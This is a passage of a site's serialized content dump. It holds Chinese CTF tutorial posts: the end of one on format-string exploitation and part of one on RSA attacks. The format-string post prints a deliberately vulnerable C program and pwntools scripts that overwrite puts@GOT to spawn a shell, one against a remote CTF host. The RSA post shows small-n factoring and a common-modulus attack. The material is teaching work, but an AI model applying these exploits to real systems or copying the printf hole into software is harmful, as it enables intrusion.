_IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[30,9393,9394,9398,9402,9406,9410,9414,9418,9422,9426,9430,9434,9438,9442,9446,9451,9455],{"__ignoreMap":28},[33,9395,9396],{"class":35,"line":36},[33,9397,1450],{},[33,9399,9400],{"class":35,"line":47},[33,9401,1455],{},[33,9403,9404],{"class":35,"line":70},[33,9405,1460],{"emptyLinePlaceholder":1373},[33,9407,9408],{"class":35,"line":80},[33,9409,1465],{},[33,9411,9412],{"class":35,"line":452},[33,9413,1470],{},[33,9415,9416],{"class":35,"line":458},[33,9417,1475],{},[33,9419,9420],{"class":35,"line":464},[33,9421,1460],{"emptyLinePlaceholder":1373},[33,9423,9424],{"class":35,"line":470},[33,9425,1508],{},[33,9427,9428],{"class":35,"line":476},[33,9429,8839],{},[33,9431,9432],{"class":35,"line":482},[33,9433,1514],{},[33,9435,9436],{"class":35,"line":1295},[33,9437,8848],{},[33,9439,9440],{"class":35,"line":1301},[33,9441,8853],{},[33,9443,9444],{"class":35,"line":1505},[33,9445,8858],{},[33,9447,9448],{"class":35,"line":1511},[33,9449,9450],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[33,9452,9453],{"class":35,"line":1517},[33,9454,1538],{},[33,9456,9457],{"class":35,"line":1523},[33,9458,1475],{},[23,9460,9462],{"className":25,"code":9461,"language":27,"meta":28,"style":28},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[30,9463,9464,9480],{"__ignoreMap":28},[33,9465,9466,9468,9470,9473,9476,9478],{"class":35,"line":36},[33,9467,1556],{"class":39},[33,9469,1559],{"class":241},[33,9471,9472],{"class":43}," fmt2",[33,9474,9475],{"class":43}," fmt2.c",[33,9477,1568],{"class":241},[33,9479,1571],{"class":241},[33,9481,9482,9484,9486,9489],{"class":35,"line":47},[33,9483,1608],{"class":39},[33,9485,1611],{"class":43},[33,9487,9488],{"class":43}," ./fmt2",[33,9490,9491],{"class":1576},"     # 需为 Partial RELRO，GOT 可写\n",[16,9493,9494],{},"利用脚本：",[23,9496,9498],{"className":1238,"code":9497,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[30,9499,9500,9504,9508,9513,9518,9523,9527,9532,9537,9542,9547,9552,9557,9562,9566,9570],{"__ignoreMap":28},[33,9501,9502],{"class":35,"line":36},[33,9503,1716],{},[33,9505,9506],{"class":35,"line":47},[33,9507,1460],{"emptyLinePlaceholder":1373},[33,9509,9510],{"class":35,"line":70},[33,9511,9512],{},"context.binary = elf = ELF('./fmt2')\n",[33,9514,9515],{"class":35,"line":80},[33,9516,9517],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[33,9519,9520],{"class":35,"line":452},[33,9521,9522],{},"p = process('./fmt2')\n",[33,9524,9525],{"class":35,"line":458},[33,9526,1460],{"emptyLinePlaceholder":1373},[33,9528,9529],{"class":35,"line":464},[33,9530,9531],{},"offset = 6\n",[33,9533,9534],{"class":35,"line":470},[33,9535,9536],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[33,9538,9539],{"class":35,"line":476},[33,9540,9541],{},"# fmtstr_payload(offset, writes)：\n",[33,9543,9544],{"class":35,"line":482},[33,9545,9546],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[33,9548,9549],{"class":35,"line":1295},[33,9550,9551],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[33,9553,9554],{"class":35,"line":1301},[33,9555,9556],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[33,9558,9559],{"class":35,"line":1505},[33,9560,9561],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n",[33,9563,9564],{"class":35,"line":1511},[33,9565,1460],{"emptyLinePlaceholder":1373},[33,9567,9568],{"class":35,"line":1517},[33,9569,1909],{},[33,9571,9572],{"class":35,"line":1523},[33,9573,1997],{},[16,9575,9576,9579],{},[30,9577,9578],{},"fmtstr_payload"," 自动完成：",[789,9581,9582,9587,9594,9603],{},[792,9583,797,9584,9586],{},[30,9585,1682],{}," 地址拆成低 2 字节和高 2 字节。",[792,9588,9589,9590,9593],{},"生成 ",[30,9591,9592],{},"%c"," 控制打印量。",[792,9595,9596,9597,264,9599,9602],{},"把两个目标地址（",[30,9598,9381],{},[30,9600,9601],{},"puts@got+2","）放到对应参数位置。",[792,9604,9605,9606,9608],{},"用 ",[30,9607,9346],{}," 分别写入。",[16,9610,9611,9612,9615,9616,9618],{},"预期结果：程序执行 ",[30,9613,9614],{},"puts(\"Done\")"," 时实际调用 ",[30,9617,2022],{},"，进入 shell。",[11,9620,2031],{"id":2030},[490,9622,9623,9633],{},[493,9624,9625],{},[496,9626,9627,9629,9631],{},[499,9628,1047],{},[499,9630,2042],{},[499,9632,2045],{},[506,9634,9635,9653,9665],{},[496,9636,9637,9639,9651],{},[511,9638,2052],{},[511,9640,9641,264,9643,264,9646,1125,9648],{},[30,9642,9578],{},[30,9644,9645],{},"FmtStr",[30,9647,2070],{},[30,9649,9650],{},"recvuntil",[511,9652,2074],{},[496,9654,9655,9657,9660],{},[511,9656,2079],{},[511,9658,9659],{},"看 RELRO、Canary、PIE",[511,9661,9662],{},[30,9663,9664],{},"pwn checksec ./fmt2",[496,9666,9667,9669,9672],{},[511,9668,8635],{},[511,9670,9671],{},"断点、看栈、验证参数位置",[511,9673,9674,264,9677],{},[30,9675,9676],{},"break main",[30,9678,2103],{},[11,9680,9682],{"id":9681},"九小-ctf-实战","九、小 CTF 实战",[16,9684,9685,9686,9689],{},"题目：远程运行 ",[30,9687,9688],{},"fmt2","（Partial RELRO、No PIE）。",[16,9691,9692,9694,9695,9698],{},[136,9693,144],{},"：与本地脚本唯一区别是 ",[30,9696,9697],{},"remote()"," 连远程；若远程提示与本地不同，先本地确认 offset 再改。",[23,9700,9702],{"className":1238,"code":9701,"language":1240,"meta":28,"style":28},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\np = remote('1.2.3.4', 10002)\n\npayload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[30,9703,9704,9708,9712,9716,9721,9725,9730,9734,9738],{"__ignoreMap":28},[33,9705,9706],{"class":35,"line":36},[33,9707,1716],{},[33,9709,9710],{"class":35,"line":47},[33,9711,1460],{"emptyLinePlaceholder":1373},[33,9713,9714],{"class":35,"line":70},[33,9715,9512],{},[33,9717,9718],{"class":35,"line":80},[33,9719,9720],{},"p = remote('1.2.3.4', 10002)\n",[33,9722,9723],{"class":35,"line":452},[33,9724,1460],{"emptyLinePlaceholder":1373},[33,9726,9727],{"class":35,"line":458},[33,9728,9729],{},"payload = fmtstr_payload(6, {elf.got['puts']: elf.symbols['win']})\n",[33,9731,9732],{"class":35,"line":464},[33,9733,1909],{},[33,9735,9736],{"class":35,"line":470},[33,9737,2203],{},[33,9739,9740],{"class":35,"line":476},[33,9741,1997],{},[16,9743,169],{},[23,9745,9748],{"className":9746,"code":9747,"language":175,"meta":28},[173],"flag{format_string}\n",[30,9749,9747],{"__ignoreMap":28},[11,9751,2224],{"id":2223},[16,9753,9754,9755,1125,9757,9759,9760,9762],{},"格式化字符串提供两种原语：",[30,9756,8786],{},[30,9758,8801],{}," 任意读，",[30,9761,8807],{}," 系列任意写。掌握偏移定位后，既可以泄露 canary/libc 辅助栈溢出，也可以直接覆盖 GOT 或函数指针拿 shell。",[1350,9764,9765],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":28,"searchDepth":47,"depth":47,"links":9767},[9768,9769,9770,9771,9772,9773,9774,9775,9776,9777],{"id":8757,"depth":70,"text":8758},{"id":8811,"depth":70,"text":8812},{"id":8890,"depth":70,"text":8891},{"id":8946,"depth":70,"text":8947},{"id":9113,"depth":70,"text":9114},{"id":9266,"depth":70,"text":9267},{"id":9362,"depth":70,"text":9363},{"id":2030,"depth":70,"text":2031},{"id":9681,"depth":70,"text":9682},{"id":2223,"depth":70,"text":2224},"格式化字符串漏洞：printf(buf) 漏洞原理、%p 泄露与偏移定位、%n 任意写原理、fmtstr_payload 覆盖 GOT。",{"date":1366,"image":3260,"alt":9780,"tags":9781,"published":1373},"格式化字符串深入实战",[1370,1608,9782,1372],"格式化字符串","/blogs/ctf-pwn-format-string-deep-dive",{"title":8752,"description":9778},"blogs/18. ctf-pwn-format-string-deep-dive","3BARIEfzO4zPWgXrmyFfLGY_TycY4NGsa0XAo3Gs6Fo",{"id":9788,"title":9789,"body":9790,"description":10757,"extension":1364,"meta":10758,"navigation":1373,"ogImage":7645,"path":10762,"seo":10763,"stem":10764,"__hash__":10765},"content/blogs/19. ctf-crypto-rsa-deep-dive.md","RSA 深入实战：原理、小 n 分解与共模攻击",{"type":8,"value":9791,"toc":10745},[9792,9796,9799,9802,9825,9838,9840,9856,9860,9866,9869,9884,9888,9893,9898,9987,9989,9995,10002,10006,10011,10016,10020,10039,10041,10047,10053,10057,10062,10147,10149,10155,10164,10168,10176,10205,10209,10213,10223,10229,10233,10238,10243,10250,10256,10259,10265,10269,10432,10434,10440,10444,10511,10513,10574,10583,10585,10587,10593,10596,10600,10605,10619,10621,10627,10631,10640,10690,10692,10698,10702,10734,10736,10743],[11,9793,9795],{"id":9794},"一现实背景dh-与公钥密码学","一、现实背景：DH 与公钥密码学",[16,9797,9798],{},"HTTPS（TLS）流程中：先用 DH 协商对称密钥，再用 RSA/ECDSA 证书认证身份。DH 解决\"公开信道建立共享密钥\"，RSA 解决\"身份认证与加密\"。",[16,9800,9801],{},"DH 最小实现（见密码学全景篇）：",[23,9803,9805],{"className":1238,"code":9804,"language":1240,"meta":28,"style":28},"p, g = 0xffffffffffffffc5, 2\na, b = 1234567, 7654321\nA, B = pow(g, a, p), pow(g, b, p)\nassert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[30,9806,9807,9811,9815,9820],{"__ignoreMap":28},[33,9808,9809],{"class":35,"line":36},[33,9810,2891],{},[33,9812,9813],{"class":35,"line":47},[33,9814,2906],{},[33,9816,9817],{"class":35,"line":70},[33,9818,9819],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[33,9821,9822],{"class":35,"line":80},[33,9823,9824],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[16,9826,9827,9828,9831,9832,264,9834,9837],{},"RSA 的安全基础是：已知 ",[30,9829,9830],{},"n"," 求 ",[30,9833,16],{},[30,9835,9836],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[11,9839,90],{"id":89},[23,9841,9842],{"className":25,"code":2478,"language":27,"meta":28,"style":28},[30,9843,9844],{"__ignoreMap":28},[33,9845,9846,9848,9850,9852,9854],{"class":35,"line":36},[33,9847,1425],{"class":39},[33,9849,106],{"class":43},[33,9851,2489],{"class":43},[33,9853,2492],{"class":43},[33,9855,2495],{"class":43},[11,9857,9859],{"id":9858},"三核心知识rsa-公式","三、核心知识：RSA 公式",[23,9861,9864],{"className":9862,"code":9863,"language":175,"meta":28},[173],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[30,9865,9863],{"__ignoreMap":28},[16,9867,9868],{},"三个必须会用的 Python 运算：",[23,9870,9872],{"className":1238,"code":9871,"language":1240,"meta":28,"style":28},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[30,9873,9874,9879],{"__ignoreMap":28},[33,9875,9876],{"class":35,"line":36},[33,9877,9878],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[33,9880,9881],{"class":35,"line":47},[33,9882,9883],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[11,9885,9887],{"id":9886},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[16,9889,9890,9892],{},[136,9891,138],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[16,9894,9895,9897],{},[136,9896,144],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[23,9899,9901],{"className":1238,"code":9900,"language":1240,"meta":28,"style":28},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[30,9902,9903,9908,9913,9918,9923,9928,9933,9938,9942,9947,9952,9957,9962,9967,9972,9977,9982],{"__ignoreMap":28},[33,9904,9905],{"class":35,"line":36},[33,9906,9907],{},"p, q, e = 61, 53, 17\n",[33,9909,9910],{"class":35,"line":47},[33,9911,9912],{},"n = p * q\n",[33,9914,9915],{"class":35,"line":70},[33,9916,9917],{},"# n = 3233，公钥模数。\n",[33,9919,9920],{"class":35,"line":80},[33,9921,9922],{},"phi = (p - 1) * (q - 1)\n",[33,9924,9925],{"class":35,"line":452},[33,9926,9927],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[33,9929,9930],{"class":35,"line":458},[33,9931,9932],{},"d = pow(e, -1, phi)\n",[33,9934,9935],{"class":35,"line":464},[33,9936,9937],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[33,9939,9940],{"class":35,"line":470},[33,9941,1460],{"emptyLinePlaceholder":1373},[33,9943,9944],{"class":35,"line":476},[33,9945,9946],{},"m = 65\n",[33,9948,9949],{"class":35,"line":482},[33,9950,9951],{},"c = pow(m, e, n)\n",[33,9953,9954],{"class":35,"line":1295},[33,9955,9956],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[33,9958,9959],{"class":35,"line":1301},[33,9960,9961],{},"print(\"n =\", n)\n",[33,9963,9964],{"class":35,"line":1505},[33,9965,9966],{},"print(\"phi =\", phi)\n",[33,9968,9969],{"class":35,"line":1511},[33,9970,9971],{},"print(\"d =\", d)\n",[33,9973,9974],{"class":35,"line":1517},[33,9975,9976],{},"print(\"c =\", c)\n",[33,9978,9979],{"class":35,"line":1523},[33,9980,9981],{},"print(\"解密 =\", pow(c, d, n))\n",[33,9983,9984],{"class":35,"line":1529},[33,9985,9986],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[16,9988,2432],{},[23,9990,9993],{"className":9991,"code":9992,"language":175,"meta":28},[173],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[30,9994,9992],{"__ignoreMap":28},[16,9996,9997,9998,10001],{},"攻击者只有 ",[30,9999,10000],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[11,10003,10005],{"id":10004},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[16,10007,10008,10010],{},[136,10009,138],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[16,10012,10013,10015],{},[136,10014,144],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[147,10017,10019],{"id":10018},"_51-用-sympy-分解","5.1 用 sympy 分解",[23,10021,10023],{"className":1238,"code":10022,"language":1240,"meta":28,"style":28},"from sympy import factorint\n\nprint(factorint(3233))\n",[30,10024,10025,10030,10034],{"__ignoreMap":28},[33,10026,10027],{"class":35,"line":36},[33,10028,10029],{},"from sympy import factorint\n",[33,10031,10032],{"class":35,"line":47},[33,10033,1460],{"emptyLinePlaceholder":1373},[33,10035,10036],{"class":35,"line":70},[33,10037,10038],{},"print(factorint(3233))\n",[16,10040,2432],{},[23,10042,10045],{"className":10043,"code":10044,"language":175,"meta":28},[173],"{53: 1, 61: 1}\n",[30,10046,10044],{"__ignoreMap":28},[16,10048,10049,10050,301],{},"得到 ",[30,10051,10052],{},"p=53, q=61",[147,10054,10056],{"id":10055},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[16,10058,10059,10061],{},[136,10060,144],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[23,10063,10065],{"className":1238,"code":10064,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[30,10066,10067,10072,10077,10081,10086,10091,10096,10101,10105,10109,10113,10118,10123,10127,10132,10137,10142],{"__ignoreMap":28},[33,10068,10069],{"class":35,"line":36},[33,10070,10071],{},"from Crypto.Util.number import long_to_bytes\n",[33,10073,10074],{"class":35,"line":47},[33,10075,10076],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[33,10078,10079],{"class":35,"line":70},[33,10080,1460],{"emptyLinePlaceholder":1373},[33,10082,10083],{"class":35,"line":80},[33,10084,10085],{},"n = 3233\n",[33,10087,10088],{"class":35,"line":452},[33,10089,10090],{},"e = 17\n",[33,10092,10093],{"class":35,"line":458},[33,10094,10095],{},"c = 2790\n",[33,10097,10098],{"class":35,"line":464},[33,10099,10100],{},"p, q = 53, 61\n",[33,10102,10103],{"class":35,"line":470},[33,10104,1460],{"emptyLinePlaceholder":1373},[33,10106,10107],{"class":35,"line":476},[33,10108,9922],{},[33,10110,10111],{"class":35,"line":482},[33,10112,9932],{},[33,10114,10115],{"class":35,"line":1295},[33,10116,10117],{},"m = pow(c, d, n)\n",[33,10119,10120],{"class":35,"line":1301},[33,10121,10122],{},"# 解密：m = c^d mod n。\n",[33,10124,10125],{"class":35,"line":1505},[33,10126,1460],{"emptyLinePlaceholder":1373},[33,10128,10129],{"class":35,"line":1511},[33,10130,10131],{},"print(\"m =\", m)\n",[33,10133,10134],{"class":35,"line":1517},[33,10135,10136],{},"print(long_to_bytes(m))\n",[33,10138,10139],{"class":35,"line":1523},[33,10140,10141],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[33,10143,10144],{"class":35,"line":1529},[33,10145,10146],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[16,10148,2432],{},[23,10150,10153],{"className":10151,"code":10152,"language":175,"meta":28},[173],"m = 65\nb'A'\n",[30,10154,10152],{"__ignoreMap":28},[16,10156,10157,10160,10161,10163],{},[30,10158,10159],{},"65"," 对应的 ASCII 字符是 ",[30,10162,1923],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[147,10165,10167],{"id":10166},"_53-用-factordb-查","5.3 用 FactorDB 查",[16,10169,10170,10171,10175],{},"如果 n 太大本地分解不动，去 ",[2500,10172,10173],{"href":10173,"rel":10174},"https://factordb.com",[2504]," 粘贴 n 查询，或：",[23,10177,10179],{"className":1238,"code":10178,"language":1240,"meta":28,"style":28},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[30,10180,10181,10186,10190,10195,10200],{"__ignoreMap":28},[33,10182,10183],{"class":35,"line":36},[33,10184,10185],{},"from factordb.factordb import FactorDB\n",[33,10187,10188],{"class":35,"line":47},[33,10189,1460],{"emptyLinePlaceholder":1373},[33,10191,10192],{"class":35,"line":70},[33,10193,10194],{},"f = FactorDB(n)\n",[33,10196,10197],{"class":35,"line":80},[33,10198,10199],{},"f.connect()\n",[33,10201,10202],{"class":35,"line":452},[33,10203,10204],{},"p, q = f.get_factor_list()\n",[11,10206,10208],{"id":10207},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[147,10210,10212],{"id":10211},"_61-场景","6.1 场景",[16,10214,10215,10216,10218,10219,10222],{},"同一个 ",[30,10217,9830],{},"、两个互质的 ",[30,10220,10221],{},"e1, e2","、同一明文：",[23,10224,10227],{"className":10225,"code":10226,"language":175,"meta":28},[173],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[30,10228,10226],{"__ignoreMap":28},[147,10230,10232],{"id":10231},"_62-数学原理","6.2 数学原理",[16,10234,10235,10237],{},[136,10236,138],{},"：理解为什么\"两个密文能拼出明文\"。",[16,10239,10240,10242],{},[136,10241,144],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[16,10244,10245,10246,10249],{},"扩展欧几里得算法求出 ",[30,10247,10248],{},"a, b"," 使：",[23,10251,10254],{"className":10252,"code":10253,"language":175,"meta":28},[173],"a × e1 + b × e2 = 1\n",[30,10255,10253],{"__ignoreMap":28},[16,10257,10258],{},"则：",[23,10260,10263],{"className":10261,"code":10262,"language":175,"meta":28},[173],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[30,10264,10262],{"__ignoreMap":28},[147,10266,10268],{"id":10267},"_63-完整代码","6.3 完整代码",[23,10270,10272],{"className":1238,"code":10271,"language":1240,"meta":28,"style":28},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[30,10273,10274,10279,10284,10289,10294,10299,10304,10308,10312,10317,10321,10326,10331,10335,10340,10345,10350,10355,10359,10364,10369,10374,10379,10384,10389,10394,10399,10403,10408,10412,10417,10422,10427],{"__ignoreMap":28},[33,10275,10276],{"class":35,"line":36},[33,10277,10278],{},"def egcd(a, b):\n",[33,10280,10281],{"class":35,"line":47},[33,10282,10283],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[33,10285,10286],{"class":35,"line":70},[33,10287,10288],{},"    if b == 0:\n",[33,10290,10291],{"class":35,"line":80},[33,10292,10293],{},"        return a, 1, 0\n",[33,10295,10296],{"class":35,"line":452},[33,10297,10298],{},"    g, x, y = egcd(b, a % b)\n",[33,10300,10301],{"class":35,"line":458},[33,10302,10303],{},"    return g, y, x - (a // b) * y\n",[33,10305,10306],{"class":35,"line":464},[33,10307,1460],{"emptyLinePlaceholder":1373},[33,10309,10310],{"class":35,"line":470},[33,10311,10085],{},[33,10313,10314],{"class":35,"line":476},[33,10315,10316],{},"e1, e2 = 17, 19\n",[33,10318,10319],{"class":35,"line":482},[33,10320,9946],{},[33,10322,10323],{"class":35,"line":1295},[33,10324,10325],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[33,10327,10328],{"class":35,"line":1301},[33,10329,10330],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[33,10332,10333],{"class":35,"line":1505},[33,10334,1460],{"emptyLinePlaceholder":1373},[33,10336,10337],{"class":35,"line":1511},[33,10338,10339],{},"_, a, b = egcd(e1, e2)\n",[33,10341,10342],{"class":35,"line":1517},[33,10343,10344],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[33,10346,10347],{"class":35,"line":1523},[33,10348,10349],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[33,10351,10352],{"class":35,"line":1529},[33,10353,10354],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[33,10356,10357],{"class":35,"line":1535},[33,10358,1460],{"emptyLinePlaceholder":1373},[33,10360,10361],{"class":35,"line":1541},[33,10362,10363],{},"# 负指数要先取模逆元\n",[33,10365,10366],{"class":35,"line":2981},[33,10367,10368],{},"if a \u003C 0:\n",[33,10370,10371],{"class":35,"line":2987},[33,10372,10373],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[33,10375,10376],{"class":35,"line":2993},[33,10377,10378],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[33,10380,10381],{"class":35,"line":2999},[33,10382,10383],{},"else:\n",[33,10385,10386],{"class":35,"line":3005},[33,10387,10388],{},"    c1 = pow(c1, a, n)\n",[33,10390,10391],{"class":35,"line":3770},[33,10392,10393],{},"if b \u003C 0:\n",[33,10395,10396],{"class":35,"line":3775},[33,10397,10398],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[33,10400,10401],{"class":35,"line":3781},[33,10402,10383],{},[33,10404,10405],{"class":35,"line":3787},[33,10406,10407],{},"    c2 = pow(c2, b, n)\n",[33,10409,10410],{"class":35,"line":3792},[33,10411,1460],{"emptyLinePlaceholder":1373},[33,10413,10414],{"class":35,"line":3798},[33,10415,10416],{},"recovered = (c1 * c2) % n\n",[33,10418,10419],{"class":35,"line":3804},[33,10420,10421],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[33,10423,10424],{"class":35,"line":3810},[33,10425,10426],{},"print(\"恢复 m =\", recovered)\n",[33,10428,10429],{"class":35,"line":3816},[33,10430,10431],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[16,10433,2432],{},[23,10435,10438],{"className":10436,"code":10437,"language":175,"meta":28},[173],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[30,10439,10437],{"__ignoreMap":28},[11,10441,10443],{"id":10442},"七其他常见攻击速查","七、其他常见攻击速查",[490,10445,10446,10456],{},[493,10447,10448],{},[496,10449,10450,10453],{},[499,10451,10452],{},"场景",[499,10454,10455],{},"攻击",[506,10457,10458,10476,10484,10492,10500],{},[496,10459,10460,10469],{},[511,10461,10462,10465,10466],{},[30,10463,10464],{},"e=3"," 且 ",[30,10467,10468],{},"m^e \u003C n",[511,10470,10471,10472,10475],{},"直接开立方根（",[30,10473,10474],{},"gmpy2.iroot(c, 3)","）",[496,10477,10478,10481],{},[511,10479,10480],{},"同一明文发给 3 个不同 n",[511,10482,10483],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[496,10485,10486,10489],{},[511,10487,10488],{},"e 特别大（d 很小）",[511,10490,10491],{},"Wiener 攻击（连分数）",[496,10493,10494,10497],{},[511,10495,10496],{},"p、q 很接近",[511,10498,10499],{},"Fermat 分解（平方差）",[496,10501,10502,10505],{},[511,10503,10504],{},"泄露 dp",[511,10506,10507,10508],{},"枚举 k，",[30,10509,10510],{},"p = (e*dp-1)//k + 